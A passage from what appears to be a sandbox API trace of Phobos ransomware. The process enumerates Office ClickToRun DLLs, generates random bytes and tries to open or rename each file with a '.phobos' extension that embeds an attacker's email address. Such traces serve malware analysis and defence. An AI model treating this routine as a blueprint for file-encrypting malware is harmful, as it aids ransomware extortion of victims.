files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.730] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=307416) returned 1 [0124.730] CloseHandle (hObject=0x57c) returned 1 [0124.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0124.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.730] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.730] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2118360) returned 1 [0124.730] CloseHandle (hObject=0x57c) returned 1 [0124.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0124.730] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.731] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0 [0124.731] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.731] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=468696) returned 1 [0124.731] CloseHandle (hObject=0x57c) returned 1 [0124.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0124.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.731] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.731] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=473760) returned 1 [0124.731] CloseHandle (hObject=0x57c) returned 1 [0124.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll")) returned 0x20 [0124.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.732] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.732] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=210648) returned 1 [0124.732] CloseHandle (hObject=0x57c) returned 1 [0124.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0124.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.732] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.732] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1402584) returned 1 [0124.732] CloseHandle (hObject=0x57c) returned 1 [0124.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0124.732] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.733] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.733] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=2285736) returned 1 [0124.733] CloseHandle (hObject=0x57c) returned 1 [0124.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0124.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0 [0124.733] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0 [0124.733] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.733] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=567512) returned 1 [0124.733] CloseHandle (hObject=0x57c) returned 1 [0124.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0124.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.734] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.734] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1231576) returned 1 [0124.734] CloseHandle (hObject=0x57c) returned 1 [0124.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0124.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.734] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.734] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=947928) returned 1 [0124.734] CloseHandle (hObject=0x57c) returned 1 [0124.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0124.734] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.735] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.735] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1295576) returned 1 [0124.735] CloseHandle (hObject=0x57c) returned 1 [0124.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0124.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.735] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.736] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=512216) returned 1 [0124.736] CloseHandle (hObject=0x57c) returned 1 [0124.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0124.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0124.736] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.737] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=263896) returned 1 [0124.737] CloseHandle (hObject=0x57c) returned 1 [0124.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe")) returned 0x20 [0124.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvshnotify.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0x20 [0124.737] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.737] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=820416) returned 1 [0124.737] CloseHandle (hObject=0x57c) returned 1 [0124.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20 [0124.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.738] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.738] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=1208928) returned 1 [0124.738] CloseHandle (hObject=0x57c) returned 1 [0124.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")) returned 0x20 [0124.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.738] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.739] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=902328) returned 1 [0124.739] CloseHandle (hObject=0x57c) returned 1 [0124.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll")) returned 0x20 [0124.739] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RUI.en-us.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2rui.en-us.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0124.739] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x3ebfa40 | out: pbBuffer=0x3ebfa40) returned 1 [0124.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0124.740] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3ebf9e0 | out: lpFileSize=0x3ebf9e0*=332968) returned 1 [0124.740] CloseHandle (hObject=0x57c) returned 1 [0124.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20 [0124.740] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0124.740] CreateFileW (lpFileName="\\\\?\\C:\\Program 